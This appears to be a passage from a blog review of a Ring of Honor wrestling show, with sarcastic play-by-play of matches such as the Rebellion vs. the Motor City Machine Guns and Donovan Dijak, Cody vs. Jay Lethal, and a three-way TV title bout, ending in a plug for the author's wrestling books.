Rebellion vs. Motor City Machine Guns/Donovan Dijak

The Guns are still in search of a permanent partner because trios are suddenly awesome. The Rebellion is the former Cabinet (Caprice Coleman/Kenny King/Rhett Titus) because Rebellion might actually be an even weaker name. To really show how rebellious King is, he has an upside down ROH logo on his trunks. Sabin and King run the ropes a bit to start with a grand total of nothing happen. Gotta love that non-offense from these rebels.

More triple teaming ensues until Sabin gets in a tornado DDT. That means Dijak gets to clean house with a top rope chokebreaker (close enough at least) getting two on Titus. The fans are WAY into Dijak here but the chants are cut off as the Guns start speeding things up. Well as speedy as they can make them at this point in their careers.

Dijak actually busts out a springboard flip dive to make my eyes pop open. Feast Your Eyes sends Titus into a powerbomb for two with Coleman and King diving in for the save. Another powerbomb puts King down but Skull and Bones are broken up. The Sky Splitter sets up the Big Dawg (frog) splash to put Sabin away at 12:27.

We recap Silas Young vs. Jushin Thunder Liger. Young got annoyed at a fan dressing up like Liger so he wanted to beat up the inspiration for never showing his face like a coward.

Jushin Thunder Liger vs. Silas Young

We recap Colt Cabana vs. Dalton Castle, which is your standard short term tag team breakup feud with Cabana playing heel.

Colt Cabana vs. Dalton Castle

You can tell Colt has turned as his music into something much slower with rap lyrics. Castle comes out in a chariot pulled by the Boys. Dalton immediately poses on the middle rope with his legs crossed like a gentleman. A quick takedown puts Colt on the mat and he bails to the floor, allowing Castle to do his strut after faking Cabana out on a suicide dive. The Boys are thrown in so Castle uses them as stepping stones to set up a dropkick. Now that shows some thinking out there.

Cody vs. Jay Lethal

Feeling out process to start as they hit the mat early on. A hiptoss exchange goes fine until Lethal gets in a dropkick for the first major offense. Cody comes right back with a very delayed gordbuster and starts in on the arm. Addiction keeps putting over the idea of Cody having experience in big matches and not buckling under the pressure.

Post match Cody mocks the Code of Honor and flips Lethal off. Addiction chases him away while Corino jumps back in on commentary to say “he was right all along.” Rhodes shoves Corino down but Steve keeps his cool.

Long recap of the Six Man Tag Team Title tournament. Lio Rush is replacing ACH, who has left the promotion.

Six Man Tag Team Titles: Kingdom vs. Kushida/Jay White/Lio Rush

The announcers are nice enough to start explaining why we should care about the Kingdom as Kushida scores with a double Tajiri handspring elbow. Everything breaks down and White gets two off a missile dropkick. To really pick things up a bit, White gets caught in a half crab from the top rope, only to have Kushida put Vinny in the Hoverboard Lock on the top for the save.

TV Title: Will Ospreay vs. Dragon Lee vs. Marty Scurll

With Lee dispatched, Ospreay and Scurll start slugging it out until Marty gets caught in the Tree of Woe. Cue Lee for the Alberto Del Rio top rope double stomp and a near fall. A running hurricanrana pulls Ospreay off the apron and down to the floor but Will pops back up for a big running flip dive of his own.

We recap the Tag Team Title match, which is just about the Briscoes wanting their ninth title reign.

Tag Team Titles: Briscoe Brothers vs. Young Bucks

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

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